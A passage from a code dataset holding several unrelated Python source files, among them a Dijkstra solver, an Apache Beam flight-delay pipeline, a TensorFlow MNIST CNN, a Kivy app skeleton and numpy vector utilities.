index=False)\n","sub_path":"code/clean/clean_sites.py","file_name":"clean_sites.py","file_ext":"py","file_size_in_byte":4013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"180245659","text":"__author__ = 'asher_000'\n\nimport os\n\n\ndef text_import_generator(textfile):\n \"\"\"\n This function will return multiple dicts in order of text file, Keys are from the first line of the text file.\n object values are split by spaces\n new objects are made from a new line.\n :param textfile: Text file that you want to process and get values from splits on new lines\n :return: if array_return == True you receive an array of array objects otherwise its a yield of data\n \"\"\"\n file = open(os.path.join(\"text_data\", textfile), 'r')\n flag = True\n definer = []\n for line in file:\n # Flag is set as True and it will be for the first line that defines the keys\n if flag:\n for val in line.split(\" \"):\n definer.append(val)\n definer[len(definer) - 1] = definer[len(definer) - 1].replace(\"\\n\", \"\")\n flag = not flag\n continue\n # Need to get rid of last value that is aways \\n\n newline = line.replace(\"\\n\", \"\")\n holder = {}\n values = newline.split(\" \")\n # Next loop adds values to our dictionary\n for val in range(len(definer)):\n x = {definer[val]: values[val]}\n holder.update(x)\n # Yields the new dictionary and then starts loop again\n yield holder\n file.close()\n\n\ndef text_import_array(textfile):\n \"\"\"\n This will return an array of arrays that hold values of objects, new object values are split up by spaces\n And new objects are created with a new line. If you want a generator value please use text_import_generator\n :param textfile: Text file that you want to parse\n :return: an array of arrays that will have all values\n \"\"\"\n file = open(os.path.join(\"text_data\", textfile), 'r')\n\n returner = []\n for line in file:\n newline = line.replace(\"\\n\", \"\")\n array_return = newline.split(\" \")\n returner.append(array_return)\n file.close()\n return returner","sub_path":"tools/text_import.py","file_name":"text_import.py","file_ext":"py","file_size_in_byte":1971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"547941933","text":"# Single Source Shortest Path\n# https://dmoj.ca/problem/sssp\n\nfrom heapq import heappop, heappush\nimport sys\ninput = sys.stdin.readline\n\nvertices, edges = [int(s) for s in input().split()]\ngraph = [[] for i in range(vertices + 1)]\n# [[], [], [], [], []]\ninfinity = 99999999\n\ndef dijkstra(graph, start, end):\n shortest_distance = [infinity for i in range(vertices + 1)] # constantly updated\n # [99999999, 99999999, 99999999, 99999999, 99999999]\n queue = [(0, start)] # run through all vertices until empty\n while queue: # while there's something in unexplored_vertices\n dist, vertex = heappop(queue) # this in built function returns smallest possible distance and its respective vertex\n if shortest_distance[vertex] <= dist:\n continue \n shortest_distance[vertex] = dist # replaces infinity with the actual SHORTEST distance\n for neighbour, value in graph[vertex]:\n if shortest_distance[neighbour] > dist + value:\n heappush(queue, (dist + value, neighbour)) # add the neighbours of the existing vertex to the queue\n return shortest_distance\n\n\nfor i in range(edges):\n v1, vx, weight = map(int, input().split())\n graph[v1].append((vx, weight))\n graph[vx].append((v1, weight))\n# [[], [(2, 2), (3, 5)], [(1, 2), (3, 2)], [(1, 5), (2, 2)], []]\n# [ regarding v1 ], [ regarding v2 ], [ regarding v3 ]\n\ndist = dijkstra(graph, 1, vertices)\n\nfor i in range(1, vertices + 1):\n if dist[i] == infinity:\n print(-1)\n else:\n print(dist[i])","sub_path":"DMOJ/sssp.py","file_name":"sssp.py","file_ext":"py","file_size_in_byte":1539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"250548162","text":"import kivy\nkivy.require('1.9.0') # replace with your current kivy version !\nfrom kivy.config import Config\npar_width = 470\npar_height = 800\nConfig.set('graphics', 'width', '470')\nConfig.set('graphics', 'height', '800')\n\n\nfrom kivy.core.window import Window\nfrom kivy.uix.anchorlayout import AnchorLayout\nfrom kivy.uix.boxlayout import BoxLayout\nfrom kivy.uix.button import Button\nfrom kivy.uix.floatlayout import FloatLayout\nfrom kivy.uix.label import Label\nfrom kivy.uix.textinput import TextInput\n\nfrom main_manager import MainManager\nfrom widgets.create_family import CreateFamily\n\n\nfrom kivy.app import App\nfrom kivy.uix.widget import Widget\n\nfrom viewport import Viewport\n\nmain_manager = MainManager()\n\n\nclass MainWidget(FloatLayout):\n\n def initial_load(self):\n title_label = Label(text='Create Family', font_size=40, height=50, width=self.width,\n pos=(0,0), valign='bottom')\n self.add_widget(title_label)\n # if not main_manager.has_users():\n # # box = BoxLayout(size_hint_y=None, height=50)\n # # upc_l = Label(text='test', font_size=40, size_hint_x=None, width=100,)\n # # box.add_widget(upc_l)\n # # self.add_widget(box)\n # # self.add_widget(Label(text=\"test\"))\n # self.add_widget(CreateFamily(width=self.width, height=self.height)())\n return self\n\n\nclass MyApp(App):\n\n def build(self):\n vp = Viewport(size=(par_width, par_height))\n mw = MainWidget()\n vp.add_widget(mw)\n mw.initial_load()\n return vp\n\n def build2(self):\n controls = AnchorLayout(anchor_x='right', anchor_y='top', height=200)\n box = BoxLayout(size_hint_y=None, height=50)\n\n\n\n upc_l = Label(text='UPC:', font_size=40, size_hint_x=None, width=100,)\n entry = TextInput(font_size=40, size_hint_x=None, width=350)\n search_b = Button(text='Search', font_size=40, size_hint_x=None,\n width=200, background_color=[0,1.7,0,1])\n\n\n controls.add_widget(box)\n box.add_widget(upc_l)\n box.add_widget(entry)\n box.add_widget(search_b)\n\n\n return controls\n\n\nif __name__ == '__main__':\n MyApp().run()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"58832307","text":"from django.shortcuts import render\n\n# Create your views here.\n\ndef view_index(request):\n #return str([page_id, page_code])\n \n context = {\n 'content': str({'page_id':8787878}),\n 'page_title': 'tile',\n 'description': 'fdgdfgdgtdgg',\n 'keywords': 'svfdb',\n }\n \n return render(request, 'main/index.html', context)","sub_path":"main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"415269836","text":"# Copyright 2017 The UAI-SDK Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\nimport os\nfrom base_pack_tool import UaiPackTool\nfrom uai.arch_conf.mxnet_conf import MXNetJsonConf\nfrom uai.arch_conf.mxnet_conf import MXNetJsonConfLoader\n\nclass MXNetPackTool(UaiPackTool):\n \"\"\" MXNet Pack Tool class\n \"\"\"\n def __init__(self, parser):\n super(MXNetPackTool, self).__init__('mxnet', parser)\n\n def _add_args(self):\n \"\"\" MXNet specific _add_args tool to parse MXNet params\n \"\"\"\n self.config = MXNetJsonConf(self.parser)\n\n\n def _load_args(self):\n self.config.load_params()\n self.conf_params = self.config.get_conf_params()\n self.params = self.config.get_arg_params()\n\n conf_loader = MXNetJsonConfLoader(self.conf_params)\n self.model_dir = conf_loader.get_model_dir()\n self.num_epoch = conf_loader.get_num_epoch()\n self.model_prefix = conf_loader.get_model_prefix()\n return\n\n def _get_model_list(self):\n \"\"\" MXNet specific _get_model_list tool to get model filelist\n \"\"\"\n self.model_arch_file = self.model_prefix + '-' + 'symbol'+ '.json'\n num_epoch = str(self.num_epoch).zfill(4)\n self.model_weight_file = self.model_prefix + '-' + num_epoch + '.params'\n self.filelist.append(self.model_arch_file)\n self.filelist.append(self.model_weight_file)","sub_path":"uai/pack/mxnet_pack_tool.py","file_name":"mxnet_pack_tool.py","file_ext":"py","file_size_in_byte":1994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"313888725","text":"# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\nimport fnmatch\nfrom sopel.config import Config as SopelConfig\nfrom collections import defaultdict\n\n\nclass DispatchConfig(object):\n def __init__(self, *args, **kwargs):\n self._data = defaultdict(set, *args, **kwargs)\n\n def get(self, key):\n result = self._data.get(key, set())\n for k, v in self._data.iteritems():\n if k == '*' or ('*' in k and fnmatch.fnmatch(key, k)):\n result |= v\n return result\n\n def __contains__(self, key):\n return bool(self.get(key))\n\n def add(self, key, value=None):\n self._data[key].add(value)\n\n\nclass Config(SopelConfig):\n def __init__(self, *args, **kwargs):\n super(Config, self).__init__(*args, **kwargs)\n self.dispatch = DispatchConfig()\n self.bugzilla_branches = DispatchConfig()\n self.bugzilla_leave_open = DispatchConfig()\n\n if not self.parser.has_option('core', 'enable'):\n self.core.enable = ['']\n\n if not self.parser.has_option('pulse', 'user'):\n raise Exception('Missing configuration: pulse.user')\n\n if not self.parser.has_option('pulse', 'password'):\n raise Exception('Missing configuration: pulse.password')\n\n if (self.parser.has_option('bugzilla', 'server') and\n self.parser.has_option('bugzilla', 'api_key')):\n server = self.bugzilla.server\n if not server.lower().startswith('https://'):\n raise Exception('bugzilla.server must be a HTTPS url')\n\n if self.parser.has_option('bugzilla', 'pulse'):\n for branch in self.bugzilla.get_list('pulse'):\n self.bugzilla_branches.add(branch)\n\n if self.parser.has_option('bugzilla', 'leave_open'):\n for branch in self.bugzilla.get_list('leave_open'):\n self.bugzilla_leave_open.add(branch)\n\n if self.parser.has_section('channels'):\n for chan, _ in self.parser.items('channels'):\n for branch in self.channels.get_list(chan):\n self.dispatch.add(branch, '#' + chan)\n\n\nif __name__ == '__main__':\n import sys\n from sopel.tools import get_input\n from ConfigParser import RawConfigParser\n\n try:\n current_config = Config('pulsebot.cfg')\n except Exception:\n current_config = None\n config = Config('pulsebot.cfg.in')\n new_config = RawConfigParser()\n\n for section in config.parser.sections():\n new_config.add_section(section)\n\n for name, value in config.parser.items(section):\n if value.startswith('@') and value.endswith('@'):\n s, n = value[1:-1].split('.', 1)\n if current_config and current_config.parser.has_option(s, n):\n value = current_config.parser.get(s, n)\n else:\n prompt = 'Please enter a value for %s.%s: ' % (section,\n name)\n while True:\n sys.stderr.write(prompt)\n value = get_input('')\n if value:\n break\n\n new_config.set(section, name, value)\n\n new_config.write(sys.stdout)\n","sub_path":"pulsebot/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":3456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"184817467","text":"import random\nimport os\n\nfrom config import opt, args\nfrom preview import preview_args\nfrom utils.vocabulary import Vocabulary\nif not os.path.exists(args.dataset_file_path):\n os.makedirs(args.dataset_file_path)\nargs.corpus = 'data_simple'\npreview_args(args)\n\ntrain_X_file = './data_simple/train_source'\ntrain_y_file = './data_simple/train_target'\nval_X_file = './data_simple/train_source'\nval_y_file = './data_simple/train_target'\ntest_X_file = './data_simple/train_source'\ntest_y_file = './data_simple/train_target'\n\nvocab = Vocabulary(args, build_vocab=False)\ndef split(fin_file, fout_name, NUM_OF_LINES=100000): # 100000 默认一个文件 5W 行\n with open(fin_file) as fin:\n filename = fout_name + \"0.dat\"; print('Data-Simple processing', filename)\n os.makedirs(os.path.dirname(filename), exist_ok=True)\n fout = open(filename, \"w\")\n\n lines = list(fin)\n random.shuffle(lines)\n len_lines = len(lines)\n\n for i, line in enumerate(lines):\n line = ' '.join(vocab.tokenizer(line.lower()))\n fout.write(line + '\\n') if i < len_lines -1 else fout.write(line)\n if (i + 1) % NUM_OF_LINES == 0:\n fout.close()\n filename = fout_name + \"%d.dat\" % (i / NUM_OF_LINES + 1); print('Data-Simple processing', filename)\n os.makedirs(os.path.dirname(filename), exist_ok=True)\n fout = open(filename, \"w\")\n fout.close()\n\nif __name__ == '__main__':\n split(train_X_file, args.dataset_file_path + 'train_source_')\n split(train_y_file, args.dataset_file_path + 'train_target_')\n split(val_X_file, args.dataset_file_path + 'validate_source_')\n split(val_y_file, args.dataset_file_path + 'validate_target_')\n split(test_X_file, args.dataset_file_path + 'test_source_')\n split(test_y_file, args.dataset_file_path + 'test_target_')\n","sub_path":"bin/template/src/jptproject/l3_2018_09_Pytorch_Summarization_with_Pointer-Generator_Networks/corpus/data_simple.py","file_name":"data_simple.py","file_ext":"py","file_size_in_byte":1878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"27852836","text":"import os\n\n\ndef find_files_only_in_current_folder(path, extension, print_or_not):\n \"\"\"\n Searching of files in the specified directory with specified file extension\n \"\"\"\n file_name_list = []\n i = 0\n if print_or_not == 1:\n print(' Directory: ', path, '\\n')\n if print_or_not == 1:\n print(' List of files found: ')\n files = [f for f in os.listdir(path) if os.path.isfile(os.path.join(path, f))]\n for file in files:\n if file.endswith(extension):\n i = i + 1\n if print_or_not == 1:\n print(' ', i, ') ', file)\n file_name_list.append(str(file))\n file_name_list.sort()\n return file_name_list\n\n\nif __name__ == '__main__':\n\n path = 'DATA/'\n extension = '.adr'\n\n file_name_list = find_files_only_in_current_folder(path, extension, 1)\n","sub_path":"package_common_modules/find_files_only_in_current_folder.py","file_name":"find_files_only_in_current_folder.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"416163066","text":"from __future__ import absolute_import\n\nimport argparse\nimport logging\nfrom os import pipe\n\nfrom past.builtins import unicode\n\nimport apache_beam as beam\nimport apache_beam.transforms.window as window\nfrom apache_beam.options.pipeline_options import PipelineOptions\n#from apache_beam.options.pipeline_options import SetupOptions\nfrom apache_beam.options.pipeline_options import StandardOptions\n\nclass AirPort():\n def __init__(self, fields, e):\n self.name = fields[e.FN_airport]\n self.latitude = float(fields[e.FN_lat])\n self.longitude = float(fields[e.FN_lon])\n\n def __lt__(self, others):\n return self.name < others.name\n\n def __gt__(self, others):\n return self.name > others.name\n\n def __eq__(self, others):\n return self.name == others.name\n\nclass AirportStats():\n def __init__(self, airport, arr_delay, dep_delay, timestamp, num_flights):\n self.airport = airport\n self.arr_delay = arr_delay\n self.dep_delay = dep_delay\n self.timestamp = timestamp\n self.num_flights = num_flights\n\n\nclass Flight():\n def __init__(self, fields, e):\n self.airport = AirPort(fields, e)\n self.delay = float(fields[e.FN_delay])\n self.timestamp = fields[e.FN_timestamp]\n\n\nclass FieldNumberLookup():\n def __init__(self, e, fN_airport, fN_lat, fN_lon, fN_delay, fN_timestamp):\n self.eventName = e\n self.FN_airport = fN_airport - 1\n self.FN_lat = fN_lat - 1\n self.FN_lon = fN_lon - 1\n self.FN_delay = fN_delay - 1\n self.FN_timestamp = fN_timestamp - 1\n\n @staticmethod\n def create(event):\n if (event == \"arrived\"): \n return FieldNumberLookup(event, 13, 31, 32, 23, 22)\n else:\n return FieldNumberLookup(event, 9, 28, 29, 16, 15)\n\n\ndef stats(elm):\n print(elm)\n airport = elm[0]\n values_dic = elm[1]\n arrDelay = values_dic[\"arr_delay\"][0] if len(values_dic[\"arr_delay\"]) > 0 else -999\n depDelay = values_dic[\"dep_delay\"][0] if len(values_dic[\"dep_delay\"]) > 0 else -999\n arrTs = values_dic[\"arr_timestamp\"][0] if len(values_dic[\"arr_timestamp\"]) > 0 else \"\"\n depTs = values_dic[\"dep_timestamp\"][0] if len(values_dic[\"dep_timestamp\"]) > 0 else \"\"\n arrNumflights = values_dic[\"arr_num_flights\"][0] if len(values_dic[\"arr_num_flights\"]) > 0 else 0\n depNumflights = values_dic[\"dep_num_flights\"][0] if len(values_dic[\"dep_num_flights\"]) > 0 else 0\n print(arrTs, depTs)\n timestamp = arrTs if arrTs > depTs else depTs\n num_flights = int(arrNumflights) + int(depNumflights)\n return AirportStats(airport, arrDelay, depDelay, timestamp, num_flights)\n\n\ndef movingAverageOf(p, project, event, speed_up_factor):\n averagingInterval = 3600 / speed_up_factor\n averagingFrequency = averagingInterval / 2\n topic = \"projects/{}/topics/{}\".format(project, event)\n eventType = FieldNumberLookup.create(event)\n\n flights = (\n p \n | \"{}:read\".format(event) >> beam.io.ReadFromPubSub(topic=topic)\n | \"{}:window\".format(event) >> beam.WindowInto(window.SlidingWindows(averagingInterval, averagingFrequency))\n | \"{}:parse\".format(event) >> beam.Map(lambda elm: Flight(elm.decode(\"utf-8\").split(\",\"), eventType))\n )\n\n stats = {}\n\n stats[\"delay\"] = (\n flights\n | \"{}:airport_delay\".format(event) >> beam.Map(lambda elm: (elm.airport, elm.delay))\n | \"{}:avgdelay\".format(event) >> beam.combiners.Mean.PerKey()\n )\n\n stats[\"timestamp\"] = (\n flights\n | \"{}:timestamps\".format(event) >> beam.Map(lambda elm: (elm.airport, elm.timestamp))\n | \"{}:lastTimeStamp\".format(event) >> beam.CombinePerKey(lambda elem: max(elem))\n )\n\n stats[\"num_flights\"] = (\n flights\n | \"{}:numflights\".format(event) >> beam.Map(lambda elm: (elm.airport, 1))\n | \"{}:total\".format(event) >> beam.combiners.Count.PerKey()\n )\n\n return stats\n\ndef toBQRow(stats):\n bq_row = {}\n bq_row[\"timestamp\"] = stats.timestamp\n bq_row[\"airport\"] = stats.airport.name\n bq_row[\"latitude\"] = stats.airport.latitude\n bq_row[\"longitude\"] = stats.airport.longitude\n\n if stats.dep_delay > -998:\n bq_row[\"dep_delay\"] = stats.dep_delay\n if stats.arr_delay > -998:\n bq_row[\"arr_delay\"] = stats.arr_delay\n\n bq_row[\"num_flights\"] = stats.num_flights\n\n return bq_row\n\n\n\ndef run(project, speed_up_factor, dataset, output_table):\n \"\"\"Build and run the pipeline.\"\"\"\n\n argv = [\n '--project={0}'.format(project),\n '--job_name=ch04slidingwindow-py',\n '--save_main_session',\n '--runner=DirectRunner'\n ]\n\n pipeline_options = PipelineOptions(argv)\n pipeline_options.view_as(StandardOptions).streaming = True\n\n schema = \"airport:string,latitude:float,longitude:float,timestamp:timestamp,dep_delay:float,arr_delay:float,num_flights:integer\"\n\n with beam.Pipeline(options=pipeline_options) as p:\n arr = movingAverageOf(p, project, \"arrived\", speed_up_factor)\n dep = movingAverageOf(p, project, \"departed\", speed_up_factor)\n\n arr_delay = arr[\"delay\"]\n arr_timestamp = arr[\"timestamp\"]\n arr_num_flights = arr[\"num_flights\"]\n\n dep_delay = dep[\"delay\"]\n dep_timestamp = dep[\"timestamp\"]\n dep_num_flights = dep[\"num_flights\"]\n\n (\n (\n {\n 'arr_delay': arr_delay,\n 'arr_timestamp': arr_timestamp,\n 'arr_num_flights': arr_num_flights,\n 'dep_delay': dep_delay,\n 'dep_timestamp': dep_timestamp,\n 'dep_num_flights': dep_num_flights\n }\n )\n | 'airport:cogroup' >> beam.CoGroupByKey()\n | 'airport:stats' >> beam.Map(stats)\n | 'airport:to_BQrow' >> beam.Map(toBQRow)\n | beam.io.gcp.bigquery.WriteToBigQuery(\n table=\"{}:{}.{}\".format(project, dataset, output_table),\n schema=schema\n )\n )\n\nif __name__ == '__main__':\n logging.getLogger().setLevel(logging.INFO)\n parser = argparse.ArgumentParser(description='Run pipeline on the cloud')\n parser.add_argument('-p','--project', help='Unique project ID', required=True)\n parser.add_argument('-s','--speed_up_factor', help='Bucket for staging', default=60)\n parser.add_argument('-o','--output_table', help='BigQuery Table where your data is stored after processing.', default='airport_stats')\n parser.add_argument('-d','--dataset', help='Bucket for staging', default='flights')\n args = vars(parser.parse_args())\n \n run(project=args['project'], speed_up_factor=args['speed_up_factor'], dataset=args['dataset'], output_table=args['output_table'])","sub_path":"04_streaming/realtime_py/sliding_window.py","file_name":"sliding_window.py","file_ext":"py","file_size_in_byte":6314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"43690382","text":"import tensorflow as tf\nfrom tensorflow.examples.tutorials.mnist import input_data\n\nepocs=2\nbatch_size=64\n\nmnist=input_data.read_data_sets(\"MNIST_data\",one_hot=True) \ntest_x = mnist.test.images[:2000]\ntest_y = mnist.test.labels[:2000]\nX_data=tf.placeholder(tf.float32,shape=[None,784])\nX=tf.reshape(X_data,shape=[-1,28,28,1])\nY=tf.placeholder(tf.float32,shape=[None,10])\n\nW1=tf.Variable(tf.random_normal([3,3,1,32],stddev=0.01))\nZ1=tf.nn.conv2d(input=X,filter=W1,strides=[1,1,1,1],padding='SAME')\nA1=tf.nn.relu(Z1)\nA1=tf.nn.max_pool(A1,ksize=[1,2,2,1],strides=[1,2,2,1],padding='SAME')\n\nW2=tf.Variable(tf.random_normal([3,3,32,64],stddev=0.01))\nZ2=tf.nn.conv2d(input=A1,filter=W2,strides=[1,1,1,1],padding='SAME')\nA2=tf.nn.relu(Z2)\nL2=tf.nn.max_pool(A2,ksize=[1,2,2,1],strides=[1,2,2,1],padding='SAME')\n\nFlatten=tf.reshape(L2,shape=[-1,7*7*64])\n\nW3=tf.Variable(tf.random_normal([7*7*64,10]))\nb3=tf.Variable(tf.random_normal([10]))\n\nhypothesis=tf.matmul(Flatten,W3)+b3\n\ncost=tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2(logits=hypothesis,labels=Y))\ntrain_step=tf.train.AdamOptimizer().minimize(cost)\n\nwith tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n \n for step in range(epocs):\n avg_cost=0\n total_batch=int(mnist.train.num_examples/batch_size)\n \n for i in range(total_batch):\n batch_x,batch_y=mnist.train.next_batch(batch_size)\n feed_dict={X_data:batch_x,Y:batch_y}\n c,_ =sess.run([cost,train_step],feed_dict=feed_dict)\n avg_cost+=c/total_batch\n \n print(step,avg_cost)\n \n \n correct_prediction = tf.equal(tf.argmax(hypothesis, 1), tf.argmax(Y, 1))\n accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n print('Accuracy:', sess.run(accuracy, feed_dict={X_data: mnist.test.images, Y: mnist.test.labels})) \n AA=sess.run(cost)\n \n \n","sub_path":"script/supervised/NN/CNN/simple_CNN_TF.py","file_name":"simple_CNN_TF.py","file_ext":"py","file_size_in_byte":1914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"581166043","text":"import pymysql\n\n\ndef create_table(table_name, create_table_sql, SETTINGS):\n connection = pymysql.connect(**SETTINGS)\n try:\n with connection.cursor() as cursor: \n cursor.execute(create_table_sql)\n connection.commit()\n finally:\n connection.close()\n\n\ndef dump_data(table_name, data_labels, data, SETTINGS):\n connection = pymysql.connect(**SETTINGS)\n try:\n with connection.cursor() as cursor:\n cursor.execute(\"DELETE FROM {}\".format(table_name))\n values = \",\".join([\"%({})s\".format(label) for label in data_labels]) \n sql = \"INSERT INTO {} VALUES ({})\".format(table_name, values)\n cursor.executemany(sql, data) \n connection.commit()\n finally:\n connection.close()\n\n\ndef execute_query(sql_query, SETTINGS):\n connection = pymysql.connect(**SETTINGS)\n result = ()\n try:\n with connection.cursor(pymysql.cursors.DictCursor) as cursor:\n cursor.execute(sql_query)\n result = cursor.fetchall()\n finally:\n connection.close()\n return result\n","sub_path":"sql_func.py","file_name":"sql_func.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"538244511","text":"import numpy as np\nfrom numpy import linalg as la\nfrom numpy import prod\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport miscFuncs as mFuncs\n\n# Given an array of rational row vectors, return an array of integer row vectors. \ndef scaleVectorsToInt( vecs, tol ):\n\n numVectors = len(vecs)\n maxScaleFactor = 1E5\n\n #Set vectors with only one nonzero element to unit vectors\n nonZeroCountRows = (vecs!=0).sum(1)\n setTo1Vecs = vecs[nonZeroCountRows == 1]\n setTo1RowsIdx = np.where(nonZeroCountRows == 1)[0]\n setTo1ColsIdx = np.nonzero(setTo1Vecs)[1]\n vecs[setTo1RowsIdx, setTo1ColsIdx] = 1\n\n # For vectors that need scaling, first divide by the abs smallest element, ignoring zero\n vecsToScaleIdx = np.where(nonZeroCountRows > 1)[0]\n vecsToScale = vecs[vecsToScaleIdx]\n vecsToScale_m = np.ma.masked_equal(vecsToScale, 0.0, copy=False)\n scaleFactorArr = np.ones(numVectors)\n scaleFactorArr[vecsToScaleIdx] = abs(vecsToScale_m).min(axis=1)\n vecs = vecs / scaleFactorArr[:,np.newaxis]\n\n # Check for elements far (as defined by tol) from integers\n nonIntRowsIdx = np.where( np.any(abs(vecs - np.round(vecs)) > tol, axis=1) )[0]\n scaleFactorArr = np.ones(numVectors)\n scaleFactor = 2\n\n\t# For vecs that need scaling, multiply by sequential integers until all components are integers\n while len(nonIntRowsIdx) > 0:\n\n scaleFactorArr[nonIntRowsIdx] = scaleFactor\n scaleFactor += 1\n vecsTrial = vecs * scaleFactorArr[:,np.newaxis]\n nonIntRowsIdx = np.where( np.any(abs(vecsTrial - np.round(vecsTrial)) > tol, axis=1) )[0]\n\n if len(nonIntRowsIdx) == 0:\n vecs = vecsTrial.astype(int) \n\n elif scaleFactor > maxScaleFactor:\n raise ValueError(\"Couldn't find integer vector in %d iterations. Perhaps one or more of the row vectors are not rational vectors.\" % maxScaleFactor)\n\n return vecs\n\n# Given searchSize n, find non-collinear 3D/2D integer vectors whose components are in the set {0, -1, +1, -2, +2, ... , -n, n}\n# If cumulative == False, only return vectors which have at least one component being +/- n \ndef findNonParallelVectors(searchSize, cumulative=True, dim=3, testCase=False):\n\n print('findNonParallelVectors(): cum = {}'.format(cumulative))\n\n allVecs = np.array([[]])\n testedVecsCount = 0\n s = searchSize\n allowedVals = np.zeros((2*s)+1)\n allowedVals[1::2] = np.arange(1,s+1)\n allowedVals[2::2] = -np.arange(1,s+1)\n\n for i in allowedVals:\n\n for j in allowedVals:\n \n for k in allowedVals:\n\n if dim == 2:\n k = 0\n \n newVec = np.array([i,j,k])\n testedVecsCount += 1\t\t\t\t\n \n if np.all(newVec == (0,0,0)):\n continue\n\n if allVecs.size == 0:\n allVecs = np.array([newVec])\n\n elif allVecs.size > 0:\n x = np.cross(allVecs,newVec)\t\t\t\n zeroVecInd = (x == (0,0,0)).all(axis=1)\n zeroVecIndCount = np.count_nonzero(zeroVecInd)\n \n if zeroVecIndCount == 0:\n allVecs = np.vstack([allVecs, newVec])\n \n if not cumulative:\n # only allow vectors which have at least component being +/- searchSize\n condition = np.logical_or( np.any(allVecs == searchSize, axis=1), \n np.any(allVecs == -searchSize, axis=1))\n allVecs = allVecs[condition] \n\n if dim == 2:\n allVecs = allVecs[:,0:2]\n\n if testCase:\n allVecs = allVecs[np.where(allVecs[:,2] == 0)]\n\n\n #print('allVecs [len={}]: \\n{}'.format(len(allVecs), allVecs))\n #print(\"s = %d --- testedVecsCount: %d\" % (s, testedVecsCount))\n #print(\"s = %d --- validVecsCount: %d\" % (s, len(allVecs)))\n\n return allVecs.astype(int)\n\ndef findUniqueElemPairs(arr, skip=[]):\n \n N = len(arr)\n pairsLen = (N*(N-1)) / 2\n pairs = np.zeros((pairsLen,2))\n for idx, elem in enumerate(arr[:N-1]):\n startIdx = int(float(idx) * (N - (float(idx)+1)/2 ))\n blockSize = N - idx - 1\n endIdx = startIdx + blockSize\n\n pairs[startIdx:endIdx, 0] = [elem,]*blockSize\n pairs[startIdx:endIdx, 1] = arr[idx+1:N]\n\n out = convertToIntArr(pairs, 1e-10)\n \n #print('pairs: \\n{}'.format(pairs))\n\n if skip is not None:\n if len(skip) > 0:\n out_subset = []\n for p in out: \n p_list = list(p)\n p_list_rev = p_list.copy()\n p_list_rev.reverse()\n #print('p: {}\\np_list: {}\\np_list_rev: {}\\nskip: {}'.format(p, p_list, p_list_rev, skip))\n if p_list not in skip and p_list_rev not in skip:\n out_subset.append(p) \n out = np.asarray(out_subset)\n\n return out\n\n# Given an array of row vectors, return a set of all unique pairs of vectors\t\t\t\ndef findUniqueVectorPairs(allVecs, outIndices=False):\n\t\n # For N unique elements, N(N-1)/2 unique element pairs can be made\n N = len(allVecs)\n vecPairsLen = (N*(N-1)) / 2 \n vecPairs = np.zeros((vecPairsLen, 2, 3))\n indices = np.zeros((vecPairsLen, 2))\n\n for idx, vec in enumerate(allVecs[:N-1]):\n\n startIdx = int(float(idx) * ( N - (float(idx)+1)/2 ))\n blockSize = N - idx - 1\n endIdx = startIdx + blockSize\n \n vecPairs[startIdx:endIdx, 0, :] = np.array( [vec,]*blockSize )\n vecPairs[startIdx:endIdx, 1, :] = allVecs[idx+1 : N]\t\n \n if outIndices:\n indices[startIdx:endIdx, 0] = idx\n indices[startIdx:endIdx, 1] = np.arange(idx+1, N)\n \n if outIndices:\n return convertToIntArr(vecPairs, 1e-10), convertToIntArr(indices, 1e-10)\n else:\n return convertToIntArr(vecPairs, 1e-10)\n\n# Given an 1D array, and a target value, find the nearest value and the index/indices of all values which are equally near\ndef findNearest(array, value):\n diff = np.abs(array-value) \n idx = diff.argmin() # index of the closest value\n indices = np.where( diff == diff[idx] )[0] # indices of values which are equally close\n return (indices, array[idx])\n\n# Get the matrix inverse\ndef getInverse(matrix):\n\n if np.linalg.det(matrix) != 0:\n matrix_inv = np.linalg.inv(matrix)\n return matrix_inv\n else:\n print('Warning: Matrix does not have an inverse.')\n\n\n# If all elements are within tolerance of int value, return int array\ndef convertToIntArr(arr, tolerance):\n\n if isinstance(arr, list):\n arr = np.asarray(arr)\n\n if np.all( abs(arr - np.rint(arr)) < tolerance ):\n return np.rint(arr).astype(int)\n\n else:\n return arr\n\ndef snapArrToValue(arr, value, tolerance, returnCopy=False):\n if returnCopy: arr = np.copy(arr)\n arr[ abs(arr-value) < tolerance ] = value\n if returnCopy: return arr\n\n# Get all 8 corners of a parallelopiped defined by 3 vectors\ndef getBoxCorners(vecs, tolerance=1E-10):\n 